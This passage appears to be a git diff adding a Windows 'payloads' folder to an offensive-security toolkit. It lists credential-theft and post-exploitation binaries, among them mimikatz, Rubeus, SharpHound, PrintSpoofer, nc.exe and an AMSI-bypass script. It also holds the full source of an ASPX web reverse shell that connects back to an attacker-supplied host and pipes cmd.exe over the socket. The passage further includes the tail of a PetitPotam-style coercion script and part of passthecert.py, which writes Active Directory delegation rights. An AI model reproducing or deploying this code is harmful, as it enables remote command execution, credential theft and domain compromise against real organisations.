plop.EfsRpcOpenFileRaw(dce, options.listener)
|
||||
dce.disconnect()
|
||||
sys.exit()
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
24810
payloads/windows/PowerView.ps1
Normal file
24810
payloads/windows/PowerView.ps1
Normal file
File diff suppressed because it is too large
Load Diff
4480
payloads/windows/Powermad.ps1
Normal file
4480
payloads/windows/Powermad.ps1
Normal file
File diff suppressed because it is too large
Load Diff
BIN
payloads/windows/PrintSpoofer.exe
Normal file
BIN
payloads/windows/PrintSpoofer.exe
Normal file
Binary file not shown.
BIN
payloads/windows/PsExec64.exe
Normal file
BIN
payloads/windows/PsExec64.exe
Normal file
Binary file not shown.
BIN
payloads/windows/Rubeus.exe
Normal file
BIN
payloads/windows/Rubeus.exe
Normal file
Binary file not shown.
BIN
payloads/windows/Seatbelt.exe
Normal file
BIN
payloads/windows/Seatbelt.exe
Normal file
Binary file not shown.
BIN
payloads/windows/SharpDPAPI.exe
Normal file
BIN
payloads/windows/SharpDPAPI.exe
Normal file
Binary file not shown.
BIN
payloads/windows/SharpGPOAbuse.exe
Normal file
BIN
payloads/windows/SharpGPOAbuse.exe
Normal file
Binary file not shown.
BIN
payloads/windows/SharpHound.exe
Normal file
BIN
payloads/windows/SharpHound.exe
Normal file
Binary file not shown.
422
payloads/windows/SharpHound.ps1
Normal file
422
payloads/windows/SharpHound.ps1
Normal file
File diff suppressed because one or more lines are too long
BIN
payloads/windows/SweetPotato.exe
Normal file
BIN
payloads/windows/SweetPotato.exe
Normal file
Binary file not shown.
BIN
payloads/windows/accesschk.exe
Normal file
BIN
payloads/windows/accesschk.exe
Normal file
Binary file not shown.
BIN
payloads/windows/accesschk64.exe
Normal file
BIN
payloads/windows/accesschk64.exe
Normal file
Binary file not shown.
190
payloads/windows/amsi-bypass.ps1
Normal file
190
payloads/windows/amsi-bypass.ps1
Normal file
File diff suppressed because one or more lines are too long
423
payloads/windows/aspx-reverse-shell.aspx
Normal file
423
payloads/windows/aspx-reverse-shell.aspx
Normal file
@@ -0,0 +1,423 @@
|
||||
<%@ Page Language="C#" %>
|
||||
<%@ Import Namespace="System.Runtime.InteropServices" %>
|
||||
<%@ Import Namespace="System.Net" %>
|
||||
<%@ Import Namespace="System.Net.Sockets" %>
|
||||
<%@ Import Namespace="System.Security.Principal" %>
|
||||
<%@ Import Namespace="System.Data.SqlClient" %>
|
||||
<script runat="server">
|
||||
//Original shell post: https://www.darknet.org.uk/2014/12/insomniashell-asp-net-reverse-shell-bind-shell/
|
||||
//Download link: https://www.darknet.org.uk/content/files/InsomniaShell.zip
|
||||
|
||||
protected void Page_Load(object sender, EventArgs e)
|
||||
{
|
||||
String host = Request["LHOST"];
|
||||
int port = Convert.ToInt32(Request["LPORT"]);
|
||||
|
||||
CallbackShell(host, port);
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct STARTUPINFO
|
||||
{
|
||||
public int cb;
|
||||
public String lpReserved;
|
||||
public String lpDesktop;
|
||||
public String lpTitle;
|
||||
public uint dwX;
|
||||
public uint dwY;
|
||||
public uint dwXSize;
|
||||
public uint dwYSize;
|
||||
public uint dwXCountChars;
|
||||
public uint dwYCountChars;
|
||||
public uint dwFillAttribute;
|
||||
public uint dwFlags;
|
||||
public short wShowWindow;
|
||||
public short cbReserved2;
|
||||
public IntPtr lpReserved2;
|
||||
public IntPtr hStdInput;
|
||||
public IntPtr hStdOutput;
|
||||
public IntPtr hStdError;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct PROCESS_INFORMATION
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
public IntPtr hThread;
|
||||
public uint dwProcessId;
|
||||
public uint dwThreadId;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SECURITY_ATTRIBUTES
|
||||
{
|
||||
public int Length;
|
||||
public IntPtr lpSecurityDescriptor;
|
||||
public bool bInheritHandle;
|
||||
}
|
||||
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
static extern bool CreateProcess(string lpApplicationName,
|
||||
string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
|
||||
ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles,
|
||||
uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
|
||||
[In] ref STARTUPINFO lpStartupInfo,
|
||||
out PROCESS_INFORMATION lpProcessInformation);
|
||||
|
||||
public static uint INFINITE = 0xFFFFFFFF;
|
||||
|
||||
[DllImport("kernel32", SetLastError = true, ExactSpelling = true)]
|
||||
internal static extern Int32 WaitForSingleObject(IntPtr handle, Int32 milliseconds);
|
||||
|
||||
internal struct sockaddr_in
|
||||
{
|
||||
public short sin_family;
|
||||
public short sin_port;
|
||||
public int sin_addr;
|
||||
public long sin_zero;
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
static extern IntPtr GetStdHandle(int nStdHandle);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
static extern bool SetStdHandle(int nStdHandle, IntPtr hHandle);
|
||||
|
||||
public const int STD_INPUT_HANDLE = -10;
|
||||
public const int STD_OUTPUT_HANDLE = -11;
|
||||
public const int STD_ERROR_HANDLE = -12;
|
||||
|
||||
[DllImport("kernel32")]
|
||||
static extern bool AllocConsole();
|
||||
|
||||
|
||||
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
internal static extern IntPtr WSASocket([In] AddressFamily addressFamily,
|
||||
[In] SocketType socketType,
|
||||
[In] ProtocolType protocolType,
|
||||
[In] IntPtr protocolInfo,
|
||||
[In] uint group,
|
||||
[In] int flags
|
||||
);
|
||||
|
||||
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
internal static extern int inet_addr([In] string cp);
|
||||
[DllImport("ws2_32.dll")]
|
||||
private static extern string inet_ntoa(uint ip);
|
||||
|
||||
[DllImport("ws2_32.dll")]
|
||||
private static extern uint htonl(uint ip);
|
||||
|
||||
[DllImport("ws2_32.dll")]
|
||||
private static extern uint ntohl(uint ip);
|
||||
|
||||
[DllImport("ws2_32.dll")]
|
||||
private static extern ushort htons(ushort ip);
|
||||
|
||||
[DllImport("ws2_32.dll")]
|
||||
private static extern ushort ntohs(ushort ip);
|
||||
|
||||
|
||||
[DllImport("WS2_32.dll", CharSet=CharSet.Ansi, SetLastError=true)]
|
||||
internal static extern int connect([In] IntPtr socketHandle,[In] ref sockaddr_in socketAddress,[In] int socketAddressSize);
|
||||
|
||||
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
internal static extern int send(
|
||||
[In] IntPtr socketHandle,
|
||||
[In] byte[] pinnedBuffer,
|
||||
[In] int len,
|
||||
[In] SocketFlags socketFlags
|
||||
);
|
||||
|
||||
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
internal static extern int recv(
|
||||
[In] IntPtr socketHandle,
|
||||
[In] IntPtr pinnedBuffer,
|
||||
[In] int len,
|
||||
[In] SocketFlags socketFlags
|
||||
);
|
||||
|
||||
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
internal static extern int closesocket(
|
||||
[In] IntPtr socketHandle
|
||||
);
|
||||
|
||||
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
internal static extern IntPtr accept(
|
||||
[In] IntPtr socketHandle,
|
||||
[In, Out] ref sockaddr_in socketAddress,
|
||||
[In, Out] ref int socketAddressSize
|
||||
);
|
||||
|
||||
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
internal static extern int listen(
|
||||
[In] IntPtr socketHandle,
|
||||
[In] int backlog
|
||||
);
|
||||
|
||||
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
internal static extern int bind(
|
||||
[In] IntPtr socketHandle,
|
||||
[In] ref sockaddr_in socketAddress,
|
||||
[In] int socketAddressSize
|
||||
);
|
||||
|
||||
|
||||
public enum TOKEN_INFORMATION_CLASS
|
||||
{
|
||||
TokenUser = 1,
|
||||
TokenGroups,
|
||||
TokenPrivileges,
|
||||
TokenOwner,
|
||||
TokenPrimaryGroup,
|
||||
TokenDefaultDacl,
|
||||
TokenSource,
|
||||
TokenType,
|
||||
TokenImpersonationLevel,
|
||||
TokenStatistics,
|
||||
TokenRestrictedSids,
|
||||
TokenSessionId
|
||||
}
|
||||
|
||||
[DllImport("advapi32", CharSet = CharSet.Auto)]
|
||||
public static extern bool GetTokenInformation(
|
||||
IntPtr hToken,
|
||||
TOKEN_INFORMATION_CLASS tokenInfoClass,
|
||||
IntPtr TokenInformation,
|
||||
int tokeInfoLength,
|
||||
ref int reqLength);
|
||||
|
||||
public enum TOKEN_TYPE
|
||||
{
|
||||
TokenPrimary = 1,
|
||||
TokenImpersonation
|
||||
}
|
||||
|
||||
public enum SECURITY_IMPERSONATION_LEVEL
|
||||
{
|
||||
SecurityAnonymous,
|
||||
SecurityIdentification,
|
||||
SecurityImpersonation,
|
||||
SecurityDelegation
|
||||
}
|
||||
|
||||
|
||||
[DllImport("advapi32.dll", EntryPoint = "CreateProcessAsUser", SetLastError = true, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]
|
||||
public extern static bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
|
||||
ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment,
|
||||
String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
|
||||
|
||||
[DllImport("advapi32.dll", EntryPoint = "DuplicateTokenEx")]
|
||||
public extern static bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess,
|
||||
ref SECURITY_ATTRIBUTES lpThreadAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLeve, TOKEN_TYPE TokenType,
|
||||
ref IntPtr DuplicateTokenHandle);
|
||||
|
||||
|
||||
|
||||
const int ERROR_NO_MORE_ITEMS = 259;
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
struct TOKEN_USER
|
||||
{
|
||||
public _SID_AND_ATTRIBUTES User;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct _SID_AND_ATTRIBUTES
|
||||
{
|
||||
public IntPtr Sid;
|
||||
public int Attributes;
|
||||
}
|
||||
|
||||
[DllImport("advapi32", CharSet = CharSet.Auto)]
|
||||
public extern static bool LookupAccountSid
|
||||
(
|
||||
[In, MarshalAs(UnmanagedType.LPTStr)] string lpSystemName,
|
||||
IntPtr pSid,
|
||||
StringBuilder Account,
|
||||
ref int cbName,
|
||||
StringBuilder DomainName,
|
||||
ref int cbDomainName,
|
||||
ref int peUse
|
||||
|
||||
);
|
||||
|
||||
[DllImport("advapi32", CharSet = CharSet.Auto)]
|
||||
public extern static bool ConvertSidToStringSid(
|
||||
IntPtr pSID,
|
||||
[In, Out, MarshalAs(UnmanagedType.LPTStr)] ref string pStringSid);
|
||||
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool CloseHandle(
|
||||
IntPtr hHandle);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwProcessId);
|
||||
[Flags]
|
||||
public enum ProcessAccessFlags : uint
|
||||
{
|
||||
All = 0x001F0FFF,
|
||||
Terminate = 0x00000001,
|
||||
CreateThread = 0x00000002,
|
||||
VMOperation = 0x00000008,
|
||||
VMRead = 0x00000010,
|
||||
VMWrite = 0x00000020,
|
||||
DupHandle = 0x00000040,
|
||||
SetInformation = 0x00000200,
|
||||
QueryInformation = 0x00000400,
|
||||
Synchronize = 0x00100000
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
static extern IntPtr GetCurrentProcess();
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
extern static IntPtr GetCurrentThread();
|
||||
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
static extern bool DuplicateHandle(IntPtr hSourceProcessHandle,
|
||||
IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle,
|
||||
uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions);
|
||||
|
||||
[DllImport("psapi.dll", SetLastError = true)]
|
||||
public static extern bool EnumProcessModules(IntPtr hProcess,
|
||||
[MarshalAs(UnmanagedType.LPArray, ArraySubType = UnmanagedType.U4)] [In][Out] uint[] lphModule,
|
||||
uint cb,
|
||||
[MarshalAs(UnmanagedType.U4)] out uint lpcbNeeded);
|
||||
|
||||
[DllImport("psapi.dll")]
|
||||
static extern uint GetModuleBaseName(IntPtr hProcess, uint hModule, StringBuilder lpBaseName, uint nSize);
|
||||
|
||||
public const uint PIPE_ACCESS_OUTBOUND = 0x00000002;
|
||||
public const uint PIPE_ACCESS_DUPLEX = 0x00000003;
|
||||
public const uint PIPE_ACCESS_INBOUND = 0x00000001;
|
||||
public const uint PIPE_WAIT = 0x00000000;
|
||||
public const uint PIPE_NOWAIT = 0x00000001;
|
||||
public const uint PIPE_READMODE_BYTE = 0x00000000;
|
||||
public const uint PIPE_READMODE_MESSAGE = 0x00000002;
|
||||
public const uint PIPE_TYPE_BYTE = 0x00000000;
|
||||
public const uint PIPE_TYPE_MESSAGE = 0x00000004;
|
||||
public const uint PIPE_CLIENT_END = 0x00000000;
|
||||
public const uint PIPE_SERVER_END = 0x00000001;
|
||||
public const uint PIPE_UNLIMITED_INSTANCES = 255;
|
||||
|
||||
public const uint NMPWAIT_WAIT_FOREVER = 0xffffffff;
|
||||
public const uint NMPWAIT_NOWAIT = 0x00000001;
|
||||
public const uint NMPWAIT_USE_DEFAULT_WAIT = 0x00000000;
|
||||
|
||||
public const uint GENERIC_READ = (0x80000000);
|
||||
public const uint GENERIC_WRITE = (0x40000000);
|
||||
public const uint GENERIC_EXECUTE = (0x20000000);
|
||||
public const uint GENERIC_ALL = (0x10000000);
|
||||
|
||||
public const uint CREATE_NEW = 1;
|
||||
public const uint CREATE_ALWAYS = 2;
|
||||
public const uint OPEN_EXISTING = 3;
|
||||
public const uint OPEN_ALWAYS = 4;
|
||||
public const uint TRUNCATE_EXISTING = 5;
|
||||
|
||||
public const int INVALID_HANDLE_VALUE = -1;
|
||||
|
||||
public const ulong ERROR_SUCCESS = 0;
|
||||
public const ulong ERROR_CANNOT_CONNECT_TO_PIPE = 2;
|
||||
public const ulong ERROR_PIPE_BUSY = 231;
|
||||
public const ulong ERROR_NO_DATA = 232;
|
||||
public const ulong ERROR_PIPE_NOT_CONNECTED = 233;
|
||||
public const ulong ERROR_MORE_DATA = 234;
|
||||
public const ulong ERROR_PIPE_CONNECTED = 535;
|
||||
public const ulong ERROR_PIPE_LISTENING = 536;
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern IntPtr CreateNamedPipe(
|
||||
String lpName,
|
||||
uint dwOpenMode,
|
||||
uint dwPipeMode,
|
||||
uint nMaxInstances,
|
||||
uint nOutBufferSize,
|
||||
uint nInBufferSize,
|
||||
uint nDefaultTimeOut,
|
||||
IntPtr pipeSecurityDescriptor
|
||||
);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool ConnectNamedPipe(
|
||||
IntPtr hHandle,
|
||||
uint lpOverlapped
|
||||
);
|
||||
|
||||
[DllImport("Advapi32.dll", SetLastError = true)]
|
||||
public static extern bool ImpersonateNamedPipeClient(
|
||||
IntPtr hHandle);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool GetNamedPipeHandleState(
|
||||
IntPtr hHandle,
|
||||
IntPtr lpState,
|
||||
IntPtr lpCurInstances,
|
||||
IntPtr lpMaxCollectionCount,
|
||||
IntPtr lpCollectDataTimeout,
|
||||
StringBuilder lpUserName,
|
||||
int nMaxUserNameSize
|
||||
);
|
||||
|
||||
protected void CallbackShell(string server, int port)
|
||||
{
|
||||
|
||||
string request = "Spawn Shell...\n";
|
||||
Byte[] bytesSent = Encoding.ASCII.GetBytes(request);
|
||||
|
||||
IntPtr oursocket = IntPtr.Zero;
|
||||
|
||||
sockaddr_in socketinfo;
|
||||
oursocket = WSASocket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.IP, IntPtr.Zero, 0, 0);
|
||||
socketinfo = new sockaddr_in();
|
||||
socketinfo.sin_family = (short) AddressFamily.InterNetwork;
|
||||
socketinfo.sin_addr = inet_addr(server);
|
||||
socketinfo.sin_port = (short) htons((ushort)port);
|
||||
connect(oursocket, ref socketinfo, Marshal.SizeOf(socketinfo));
|
||||
send(oursocket, bytesSent, request.Length, 0);
|
||||
SpawnProcessAsPriv(oursocket);
|
||||
closesocket(oursocket);
|
||||
}
|
||||
|
||||
protected void SpawnProcess(IntPtr oursocket)
|
||||
{
|
||||
bool retValue;
|
||||
string Application = Environment.GetEnvironmentVariable("comspec");
|
||||
PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
|
||||
STARTUPINFO sInfo = new STARTUPINFO();
|
||||
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
|
||||
pSec.Length = Marshal.SizeOf(pSec);
|
||||
sInfo.dwFlags = 0x00000101;
|
||||
sInfo.hStdInput = oursocket;
|
||||
sInfo.hStdOutput = oursocket;
|
||||
sInfo.hStdError = oursocket;
|
||||
retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
|
||||
WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
|
||||
}
|
||||
|
||||
protected void SpawnProcessAsPriv(IntPtr oursocket)
|
||||
{
|
||||
bool retValue;
|
||||
string Application = Environment.GetEnvironmentVariable("comspec");
|
||||
PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
|
||||
STARTUPINFO sInfo = new STARTUPINFO();
|
||||
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
|
||||
pSec.Length = Marshal.SizeOf(pSec);
|
||||
sInfo.dwFlags = 0x00000101;
|
||||
IntPtr DupeToken = new IntPtr(0);
|
||||
sInfo.hStdInput = oursocket;
|
||||
sInfo.hStdOutput = oursocket;
|
||||
sInfo.hStdError = oursocket;
|
||||
if (DupeToken == IntPtr.Zero)
|
||||
retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
|
||||
else
|
||||
retValue = CreateProcessAsUser(DupeToken, Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
|
||||
WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
|
||||
CloseHandle(DupeToken);
|
||||
}
|
||||
</script>
|
||||
0
payloads/windows/chisel.exe
Normal file
0
payloads/windows/chisel.exe
Normal file
0
payloads/windows/chisel64.exe
Normal file
0
payloads/windows/chisel64.exe
Normal file
BIN
payloads/windows/kekeo.exe
Normal file
BIN
payloads/windows/kekeo.exe
Normal file
Binary file not shown.
BIN
payloads/windows/mimidrv64.sys
Normal file
BIN
payloads/windows/mimidrv64.sys
Normal file
Binary file not shown.
BIN
payloads/windows/mimikatz.exe
Normal file
BIN
payloads/windows/mimikatz.exe
Normal file
Binary file not shown.
BIN
payloads/windows/mimikatz64.exe
Normal file
BIN
payloads/windows/mimikatz64.exe
Normal file
Binary file not shown.
BIN
payloads/windows/nc.exe
Normal file
BIN
payloads/windows/nc.exe
Normal file
Binary file not shown.
BIN
payloads/windows/nc64.exe
Normal file
BIN
payloads/windows/nc64.exe
Normal file
Binary file not shown.
BIN
payloads/windows/nmap-setup.exe
Normal file
BIN
payloads/windows/nmap-setup.exe
Normal file
Binary file not shown.
699
payloads/windows/passthecert.py
Normal file
699
payloads/windows/passthecert.py
Normal file
@@ -0,0 +1,699 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Almond (almond.consulting). Copyright (C) 2022 Almond. All rights reserved.
|
||||
#
|
||||
# Accompanying blog post: https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html
|
||||
#
|
||||
# This software is provided under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Description:
|
||||
# This script implements LDAP certificate authentication for two impacket scripts : addComputer.py and rbcd.py.
|
||||
#
|
||||
# If you use Certipy (https://github.com/ly4k/Certipy) to retrieve certificates, you can extract key and cert from the pfx by using:
|
||||
# $ certipy cert -pfx user.pfx -nokey -out user.crt
|
||||
# $ certipy cert -pfx user.pfx -nocert -out user.key
|
||||
#
|
||||
# Author:
|
||||
# drm (@lowercase_drm) / ThePirateWhoSmellsOfSunflowers
|
||||
#
|
||||
# based on :
|
||||
# JaGoTu (@jagotu) work on https://github.com/SecureAuthCorp/impacket/blob/master/examples/addcomputer.py
|
||||
# Remi Gascou (@podalirius_) and Charlie Bromberg (@_nwodtuhs) work on https://github.com/SecureAuthCorp/impacket/blob/master/examples/rbcd.py
|
||||
# Impacket by SecureAuth https://github.com/SecureAuthCorp/impacket
|
||||
#
|
||||
|
||||
import sys
|
||||
import copy
|
||||
import string
|
||||
import random
|
||||
import logging
|
||||
import argparse
|
||||
|
||||
import ssl
|
||||
import ldap3
|
||||
import ldapdomaindump
|
||||
|
||||
from impacket import version
|
||||
from impacket.examples import logger
|
||||
from impacket.examples.ldap_shell import LdapShell as _LdapShell
|
||||
from impacket.ldap import ldaptypes
|
||||
from impacket.uuid import string_to_bin
|
||||
|
||||
class LdapShell(_LdapShell):
|
||||
def __init__(self, tcp_shell, domain_dumper, client):
|
||||
super().__init__(tcp_shell, domain_dumper, client)
|
||||
|
||||
self.use_rawinput = True
|
||||
self.shell = tcp_shell
|
||||
|
||||
self.prompt = "\n# "
|
||||
self.tid = None
|
||||
self.intro = "Type help for list of commands"
|
||||
self.loggedIn = True
|
||||
self.last_output = None
|
||||
self.completion = []
|
||||
self.client = client
|
||||
self.domain_dumper = domain_dumper
|
||||
|
||||
def do_dump(self, line):
|
||||
logging.warning("Not implemented")
|
||||
|
||||
def do_exit(self, line):
|
||||
print("Bye!")
|
||||
return True
|
||||
|
||||
|
||||
class DummyDomainDumper:
|
||||
def __init__(self, root: str):
|
||||
self.root = root
|
||||
|
||||
|
||||
def ldap_shell(ldap_server, ldap_conn):
|
||||
root = ldap_server.info.other["defaultNamingContext"][0]
|
||||
domain_dumper = DummyDomainDumper(root)
|
||||
ldap_shell = LdapShell(sys, domain_dumper, ldap_conn)
|
||||
try:
|
||||
ldap_shell.cmdloop()
|
||||
except KeyboardInterrupt:
|
||||
print("Bye!\n")
|
||||
pass
|
||||
|
||||
|
||||
def create_empty_sd():
|
||||
sd = ldaptypes.SR_SECURITY_DESCRIPTOR()
|
||||
sd['Revision'] = b'\x01'
|
||||
sd['Sbz1'] = b'\x00'
|
||||
sd['Control'] = 32772
|
||||
sd['OwnerSid'] = ldaptypes.LDAP_SID()
|
||||
# BUILTIN\Administrators
|
||||
sd['OwnerSid'].fromCanonical('S-1-5-32-544')
|
||||
sd['GroupSid'] = b''
|
||||
sd['Sacl'] = b''
|
||||
acl = ldaptypes.ACL()
|
||||
acl['AclRevision'] = 4
|
||||
acl['Sbz1'] = 0
|
||||
acl['Sbz2'] = 0
|
||||
acl.aces = []
|
||||
sd['Dacl'] = acl
|
||||
return sd
|
||||
|
||||
# Create an ALLOW ACE with the specified sid
|
||||
def create_allow_ace(sid, guid_str=False):
|
||||
nace = ldaptypes.ACE()
|
||||
nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE
|
||||
nace['AceFlags'] = 0x00
|
||||
acedata = ldaptypes.ACCESS_ALLOWED_ACE()
|
||||
acedata['Mask'] = ldaptypes.ACCESS_MASK()
|
||||
acedata['Mask']['Mask'] = 983551 # Full control
|
||||
acedata['Sid'] = ldaptypes.LDAP_SID()
|
||||
acedata['Sid'].fromCanonical(sid)
|
||||
if guid_str:
|
||||
acedata['ObjectType'] = string_to_bin(guid_str)
|
||||
acedata['ObjectTypeLen'] = len(string_to_bin(guid_str))
|
||||
acedata['InheritedObjectTypeLen'] = 0
|
||||
acedata['InheritedObjectType'] = b''
|
||||
acedata['Flags'] = 1
|
||||
nace['Ace'] = acedata
|
||||
return nace
|
||||
|
||||
class RBCD(object):
|
||||
"""docstring for setrbcd"""
|
||||
|
||||
def __init__(self, ldap_server, ldap_session, delegate_to):
|
||||
super(RBCD, self).__init__()
|
||||
self.ldap_server = ldap_server
|
||||
self.ldap_session = ldap_session
|
||||
self.delegate_from = None
|
||||
self.delegate_to = delegate_to
|
||||
self.SID_delegate_from = None
|
||||
self.DN_delegate_to = None
|
||||
logging.debug('Initializing domainDumper()')
|
||||
cnf = ldapdomaindump.domainDumpConfig()
|
||||
cnf.basepath = None
|
||||
self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf)
|
||||
|
||||
def read(self):
|
||||
# Get target computer DN
|
||||
result = self.get_user_info(self.delegate_to)
|
||||
if not result:
|
||||
logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)')
|
||||
return
|
||||
self.DN_delegate_to = result[0]
|
||||
|
||||
# Get list of allowed to act
|
||||
self.get_allowed_to_act()
|
||||
|
||||
return
|
||||
|
||||
def write(self, delegate_from):
|
||||
self.delegate_from = delegate_from
|
||||
|
||||
# Get escalate user sid
|
||||
result = self.get_user_info(self.delegate_from)
|
||||
if not result:
|
||||
logging.error('Account to escalate does not exist! (forgot "$" for a computer account? wrong domain?)')
|
||||
return
|
||||
self.SID_delegate_from = str(result[1])
|
||||
|
||||
# Get target computer DN
|
||||
result = self.get_user_info(self.delegate_to)
|
||||
if not result:
|
||||
logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)')
|
||||
return
|
||||
self.DN_delegate_to = result[0]
|
||||
|
||||
# Get list of allowed to act and build security descriptor including previous data
|
||||
sd, targetuser = self.get_allowed_to_act()
|
||||
|
||||
# writing only if SID not already in list
|
||||
if self.SID_delegate_from not in [ ace['Ace']['Sid'].formatCanonical() for ace in sd['Dacl'].aces ]:
|
||||
sd['Dacl'].aces.append(create_allow_ace(self.SID_delegate_from))
|
||||
self.ldap_session.modify(targetuser['dn'],
|
||||
{'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE,
|
||||
[sd.getData()]]})
|
||||
if self.ldap_session.result['result'] == 0:
|
||||
logging.info('Delegation rights modified successfully!')
|
||||
logging.info('%s can now impersonate users on %s via S4U2Proxy', self.delegate_from, self.delegate_to)
|
||||
else:
|
||||
if self.ldap_session.result['result'] == 50:
|
||||
logging.error('Could not modify object, the server reports insufficient rights: %s',
|
||||
self.ldap_session.result['message'])
|
||||
elif self.ldap_session.result['result'] == 19:
|
||||
logging.error('Could not modify object, the server reports a constrained violation: %s',
|
||||
self.ldap_session.result['message'])
|
||||
else:
|
||||
logging.error('The server returned an error: %s', self.ldap_session.result['message'])
|
||||
else:
|
||||
logging.info('%s can already impersonate users on %s via S4U2Proxy', self.delegate_from, self.delegate_to)
|
||||
logging.info('Not modifying the delegation rights.')
|
||||
# Get list of allowed to act
|
||||
self.get_allowed_to_act()
|
||||
return
|
||||
|
||||
def remove(self, delegate_from):
|
||||
self.delegate_from = delegate_from
|
||||
|
||||
# Get escalate user sid
|
||||
result = self.get_user_info(self.delegate_from)
|
||||
if not result:
|
||||
logging.error('Account to escalate does not exist! (forgot "$" for a computer account? wrong domain?)')
|
||||
return
|
||||
self.SID_delegate_from = str(result[1])
|
||||
|
||||
# Get target computer DN
|
||||
result = self.get_user_info(self.delegate_to)
|
||||
if not result:
|
||||
logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)')
|
||||
return
|
||||
self.DN_delegate_to = result[0]
|
||||
|
||||
# Get list of allowed to act and build security descriptor including that data
|
||||
sd, targetuser = self.get_allowed_to_act()
|
||||
|
||||
# Remove the entries where SID match the given -delegate-from
|
||||
sd['Dacl'].aces = [ace for ace in sd['Dacl'].aces if self.SID_delegate_from != ace['Ace']['Sid'].formatCanonical()]
|
||||
self.ldap_session.modify(targetuser['dn'],
|
||||
{'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE, [sd.getData()]]})
|
||||
|
||||
if self.ldap_session.result['result'] == 0:
|
||||
logging.info('Delegation rights modified successfully!')
|
||||
else:
|
||||
if self.ldap_session.result['result'] == 50:
|
||||
logging.error('Could not modify object, the server reports insufficient rights: %s',
|
||||
self.ldap_session.result['message'])
|
||||
elif self.ldap_session.result['result'] == 19:
|
||||
logging.error('Could not modify object, the server reports a constrained violation: %s',
|
||||
self.ldap_session.result['message'])
|
||||
else:
|
||||
logging.error('The server returned an error: %s', self.ldap_session.result['message'])
|
||||
# Get list of allowed to act
|
||||
self.get_allowed_to_act()
|
||||
return
|
||||
|
||||
def flush(self):
|
||||
# Get target computer DN
|
||||
result = self.get_user_info(self.delegate_to)
|
||||
if not result:
|
||||
logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)')
|
||||
return
|
||||
self.DN_delegate_to = result[0]
|
||||
|
||||
# Get list of allowed to act
|
||||
